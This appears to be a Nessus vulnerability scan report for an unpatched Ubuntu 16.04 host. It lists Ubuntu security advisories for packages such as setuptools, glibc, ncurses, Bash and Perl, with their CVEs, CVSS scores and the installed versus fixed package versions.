The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-7002-1 advisory.

It was discovered that setuptools was vulnerable to remote code execution. An attacker could possibly use this issue to execute arbitrary code.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-7002-1

Solution

Update the affected packages.

Risk Factor

Critical

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.002

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2024-6345
XREF	USN:7002-1

Plugin Information

Published: 2024/09/12, Modified: 2024/09/12

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : python3-pkg-resources_20.7.0-1
- Fixed package : python3-pkg-resources_20.7.0-1ubuntu0.1~esm2
```

183612 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : Liblouis vulnerabilities (USN-3672-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-3672-1 advisory.

Henri Salo discovered that Liblouis incorrectly handled certain files. An attacker could possibly use this to execute arbitrary code. (CVE-2018-11683, CVE-2018-11684, CVE-2018-11685)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-3672-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0044

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2018-11683
CVE	CVE-2018-11684
CVE	CVE-2018-11685
XREF	USN:3672-1

Plugin Information

Published: 2023/10/20, Modified: 2024/08/28

Plugin Output

tcp/0

```
  - Installed package : liblouis-data_2.6.4-2ubuntu0.1
  - Fixed package : liblouis-data_2.6.4-2ubuntu0.3

  - Installed package : liblouis9_2.6.4-2ubuntu0.1
  - Fixed package : liblouis9_2.6.4-2ubuntu0.3

  - Installed package : python3-louis_2.6.4-2ubuntu0.1
  - Fixed package : python3-louis_2.6.4-2ubuntu0.3
```

117915 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : Liblouis vulnerabilities (USN-3782-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-3782-1 advisory.

Henri Salo discovered that Liblouis incorrectly handled certain files. An attacker could possibly use this issue to execute arbitrary code. (CVE-2018-12085)

It was discovered that Liblouis incorrectly handled certain files. An attacker could possibly use this issue to cause a denial of service. This issue only affected Ubuntu 18.04 LTS. (CVE-2018-17294)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-3782-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0044

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2018-12085
CVE	CVE-2018-17294
XREF	USN:3782-1

Plugin Information

Published: 2018/10/04, Modified: 2025/09/03

Plugin Output

tcp/0

```
- Installed package : liblouis-data_2.6.4-2ubuntu0.1
- Fixed package : liblouis-data_2.6.4-2ubuntu0.4

- Installed package : liblouis9_2.6.4-2ubuntu0.1
- Fixed package : liblouis9_2.6.4-2ubuntu0.4

- Installed package : python3-louis_2.6.4-2ubuntu0.1
- Fixed package : python3-louis_2.6.4-2ubuntu0.4
```

110044 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : xdg-utils vulnerability (USN-3650-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS host has a package installed that is affected by a vulnerability as referenced in the USN-3650-1 advisory.

It was discovered that xdg-utils incorrectly handled certain inputs. An attacker could possibly use this to execute arbitrary code.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-3650-1

Solution

Update the affected xdg-utils package.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0143

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2017-18266
XREF	USN:3650-1

Plugin Information

Published: 2018/05/23, Modified: 2024/08/27

Plugin Output

tcp/0

```
- Installed package : xdg-utils_1.1.1-1ubuntu1.16.04.1
- Fixed package : xdg-utils_1.1.1-1ubuntu1.16.04.3
```

186676 - Ubuntu 16.04 ESM / 18.04 ESM / 20.04 LTS / 22.04 LTS / 23.04 : GNU C Library vulnerabilities (USN-6541-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 ESM / 20.04 LTS / 22.04 LTS / 23.04 host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6541-1 advisory.

It was discovered that the GNU C Library was not properly handling certain memory operations. An attacker could possibly use this issue to cause a denial of service (application crash). (CVE-2023-4806, CVE-2023-4813)

It was discovered that the GNU C library was not properly implementing a fix for CVE-2023-4806 in certain cases, which could lead to a memory leak. An attacker could possibly use this issue to cause a denial of service (application crash). This issue only affected Ubuntu 22.04 LTS and Ubuntu 23.04. (CVE-2023-5156)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6541-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0244

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2023-4806
CVE	CVE-2023-4813
CVE	CVE-2023-5156
XREF	USN:6541-1

Plugin Information

Published: 2023/12/07, Modified: 2025/09/03

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libc6_2.23-0ubuntu11.3
- Fixed package : libc6_2.23-0ubuntu11.3+esm5

- Installed package : multiarch-support_2.23-0ubuntu11.3
- Fixed package : multiarch-support_2.23-0ubuntu11.3+esm5
```

181769 - Ubuntu 16.04 ESM / 18.04 ESM : FLAC vulnerability (USN-6360-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-6360-2 advisory.

USN-6360-1 fixed a vulnerability in FLAC. This update provides the corresponding update for Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 18.04 LTS.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6360-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0033

CVSS v2.0 Base Score

6.8 (CVSS2#AV:L/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-22219
XREF	USN:6360-2

Plugin Information

Published: 2023/09/21, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libflac8_1.3.1-4
- Fixed package : libflac8_1.3.1-4ubuntu0.1~esm2
```

178443 - Ubuntu 16.04 ESM / 18.04 ESM : YAJL vulnerabilities (USN-6233-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6233-1 advisory.

It was discovered that YAJL was not properly performing bounds checks when decoding a string with escape sequences. If a user or automated system using YAJL were tricked into processing specially crafted input, an attacker could possibly use this issue to cause a denial of service (application abort). (CVE-2017-16516)

It was discovered that YAJL was not properly handling memory allocation when dealing with large inputs, which could lead to heap memory corruption. If a user or automated system using YAJL were tricked into running a specially crafted large input, an attacker could possibly use this issue to cause a denial of service. (CVE-2022-24795)

It was discovered that memory leaks existed in one of the YAJL parsing functions. An attacker could possibly use this issue to cause a denial of service (memory exhaustion). (CVE-2023-33460)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6233-1

Solution

Update the affected libyajl-dev, libyajl2 and / or yajl-tools packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0129

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-16516
CVE	CVE-2022-24795
CVE	CVE-2023-33460

XREF	USN:6233-1

Plugin Information

Published: 2023/07/18, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libyajl2_2.1.0-2
- Fixed package : libyajl2_2.1.0-2ubuntu0.16.04.1~esm1
```

183750 - Ubuntu 16.04 ESM / 18.04 ESM : libXpm vulnerabilities (USN-6408-2) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6408-2 advisory.

USN-6408-1 fixed several vulnerabilities in libXpm. This update provides the corresponding update for Ubuntu 14.04 LTS, Ubuntu 16.04 LTS and Ubuntu 18.04 LTS.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6408-2

Solution

Update the affected libxpm-dev, libxpm4 and / or xpmutils packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0107

CVSS v2.0 Base Score

6.8 (CVSS2#AV:L/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2023-43786
CVE	CVE-2023-43787
CVE	CVE-2023-43788
CVE	CVE-2023-43789
XREF	USN:6408-2

Plugin Information

Published: 2023/10/23, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libxpm4_1:3.5.11-1ubuntu0.16.04.1
- Fixed package : libxpm4_1:3.5.11-1ubuntu0.16.04.1+esm2
```

177431 - Ubuntu 16.04 ESM / 18.04 ESM : libcap2 vulnerability (USN-6166-2) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-6166-2 advisory.

USN-6166-1 fixed a vulnerability in libcap2. This update provides the corresponding update for Ubuntu 14.04 ESM, Ubuntu 16.04 ESM and Ubuntu 18.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6166-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v4.0 Base Score

9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0023

CVSS v2.0 Base Score

6.8 (CVSS2#AV:L/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2023-2603
XREF	USN:6166-2

Plugin Information

Published: 2023/06/19, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libcap2_1:2.24-12
- Fixed package : libcap2_1:2.24-12ubuntu0.1~esm1

- Installed package : libcap2-bin_1:2.24-12
- Fixed package : libcap2-bin_1:2.24-12ubuntu0.1~esm1
```

176244 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.04 : ncurses vulnerabilities (USN-6099-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.04 host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6099-1 advisory.

It was discovered that ncurses was incorrectly performing bounds checks when processing invalid hashcodes.
An attacker could possibly use this issue to cause a denial of service or to expose sensitive information.
This issue only affected Ubuntu 18.04 LTS. (CVE-2019-17594)

It was discovered that ncurses was incorrectly handling end-of-string characters when processing terminfo and termcap files. An attacker could possibly use this issue to cause a denial of service or to expose sensitive information. This issue only affected Ubuntu 18.04 LTS. (CVE-2019-17595)

It was discovered that ncurses was incorrectly handling end-of-string characters when converting between termcap and terminfo formats. An attacker could possibly use this issue to cause a denial of service or execute arbitrary code. This issue only affected Ubuntu 18.04 LTS and Ubuntu 20.04 LTS. (CVE-2021-39537)

It was discovered that ncurses was incorrectly performing bounds checks when dealing with corrupt terminfo data while reading a terminfo file. An attacker could possibly use this issue to cause a denial of service or to expose sensitive information. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS and Ubuntu 22.04 LTS. (CVE-2022-29458)

It was discovered that ncurses was parsing environment variables when running with setuid applications and not properly handling the processing of malformed data when doing so. A local attacker could possibly use this issue to cause a denial of service (application crash) or execute arbitrary code. (CVE-2023-29491)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6099-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0024

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-17594
CVE	CVE-2019-17595
CVE	CVE-2021-39537
CVE	CVE-2022-29458
CVE	CVE-2023-29491
XREF	USN:6099-1

Plugin Information

Published: 2023/05/23, Modified: 2025/09/03

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libncurses5_6.0+20160213-1ubuntu1
- Fixed package : libncurses5_6.0+20160213-1ubuntu1+esm3

- Installed package : libncursesw5_6.0+20160213-1ubuntu1
- Fixed package : libncursesw5_6.0+20160213-1ubuntu1+esm3

- Installed package : libtinfo5_6.0+20160213-1ubuntu1
- Fixed package : libtinfo5_6.0+20160213-1ubuntu1+esm3

- Installed package : ncurses-base_6.0+20160213-1ubuntu1
- Fixed package : ncurses-base_6.0+20160213-1ubuntu1+esm3

- Installed package : ncurses-bin_6.0+20160213-1ubuntu1
- Fixed package : ncurses-bin_6.0+20160213-1ubuntu1+esm3

- Installed package : ncurses-term_6.0+20160213-1ubuntu1
- Fixed package : ncurses-term_6.0+20160213-1ubuntu1+esm3
```

173861 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : Liblouis vulnerabilities (USN-5996-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5996-1 advisory.

It was discovered that Liblouis incorrectly handled certain files. An attacker could possibly use this issue to cause a denial of service. (CVE-2023-26767, CVE-2023-26768, CVE-2023-26769)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5996-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0042

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2023-26767
CVE	CVE-2023-26768
CVE	CVE-2023-26769
XREF	USN:5996-1

Plugin Information

Published: 2023/04/04, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : liblouis-data_2.6.4-2ubuntu0.1
- Fixed package : liblouis-data_2.6.4-2ubuntu0.4+esm1

- Installed package : liblouis9_2.6.4-2ubuntu0.1
- Fixed package : liblouis9_2.6.4-2ubuntu0.4+esm1

- Installed package : python3-louis_2.6.4-2ubuntu0.1
- Fixed package : python3-louis_2.6.4-2ubuntu0.4+esm1
```

165282 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : Mako vulnerability (USN-5625-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5625-1 advisory.

It was discovered that Mako incorrectly handled certain regular expressions. An attacker could possibly use this issue to cause a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5625-1

Solution

Update the affected python-mako and / or python3-mako packages.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0051

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2022-40023
XREF	USN:5625-1

Plugin Information

Published: 2022/09/21, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : python3-mako_1.0.3+ds1-1ubuntu1
- Fixed package : python3-mako_1.0.3+ds1-1ubuntu1+esm1
```

161249 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : PCRE vulnerabilities (USN-5425-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5425-1 advisory.

Yunho Kim discovered that PCRE incorrectly handled memory when

handling certain regular expressions. An attacker could possibly use this issue to cause applications using PCRE to expose sensitive information. This issue only affects Ubuntu 18.04 LTS,

Ubuntu 20.04 LTS, Ubuntu 21.10 and Ubuntu 22.04 LTS. (CVE-2019-20838)

It was discovered that PCRE incorrectly handled memory when

handling certain regular expressions. An attacker could possibly use this issue to cause applications using PCRE to have unexpected

behavior. This issue only affects Ubuntu 14.04 ESM, Ubuntu 16.04 ESM, Ubuntu 18.04 LTS and Ubuntu 20.04 LTS. (CVE-2020-14155)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5425-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.002

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2019-20838
CVE	CVE-2020-14155
XREF	USN:5425-1

Plugin Information

Published: 2022/05/17, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libpcre16-3_2:8.38-3.1
- Fixed package : libpcre16-3_2:8.38-3.1ubuntu0.1~esm1

- Installed package : libpcre3_2:8.38-3.1
- Fixed package : libpcre3_2:8.38-3.1ubuntu0.1~esm1
```

166266 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : Perl vulnerability (USN-5689-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5689-1 advisory.

It was discovered that Perl incorrectly handled certain signature verification. An remote attacker could possibly use this issue to bypass signature verification.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5689-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0001

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-16156
XREF	USN:5689-1

Plugin Information

Published: 2022/10/19, Modified: 2024/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : perl-base_5.22.1-9ubuntu0.9
- Fixed package : perl-base_5.22.1-9ubuntu0.9+esm1
```

161938 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : e2fsprogs vulnerability (USN-5464-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5464-1 advisory.

Nils Bars discovered that e2fsprogs incorrectly handled certain file systems. A local attacker could use this issue with a crafted file system image to possibly execute arbitrary code.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5464-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0047

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2022-1304
XREF	USN:5464-1

Plugin Information

Published: 2022/06/08, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : e2fslibs_1.42.13-1ubuntu1.2
- Fixed package : e2fslibs_1.42.13-1ubuntu1.2+esm1

- Installed package : e2fsprogs_1.42.13-1ubuntu1.2
- Fixed package : e2fsprogs_1.42.13-1ubuntu1.2+esm1

- Installed package : libcomerr2_1.42.13-1ubuntu1.2
- Fixed package : libcomerr2_1.42.13-1ubuntu1.2+esm1

- Installed package : libss2_1.42.13-1ubuntu1.2
- Fixed package : libss2_1.42.13-1ubuntu1.2+esm1
```

159982 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : Bash vulnerability (USN-5380-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5380-1 advisory.

It was discovered that Bash did not properly drop privileges when the binary had the setuid bit enabled.
An attacker could possibly use this issue to escalate privileges.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5380-1

Solution

Update the affected bash, bash-builtins and / or bash-static packages.

Risk Factor

High

CVSS v4.0 Base Score

9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.4002

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-18276
XREF	USN:5380-1

Plugin Information

Published: 2022/04/20, Modified: 2024/09/19

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : bash_4.3-14ubuntu1.4
- Fixed package : bash_4.3-14ubuntu1.4+esm1
```

166088 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : GMP vulnerability (USN-5672-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5672-1 advisory.

It was discovered that GMP did not properly manage memory on 32-bit platforms when processing a specially crafted input. An attacker could possibly use this issue to cause applications using GMP to crash, resulting in a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

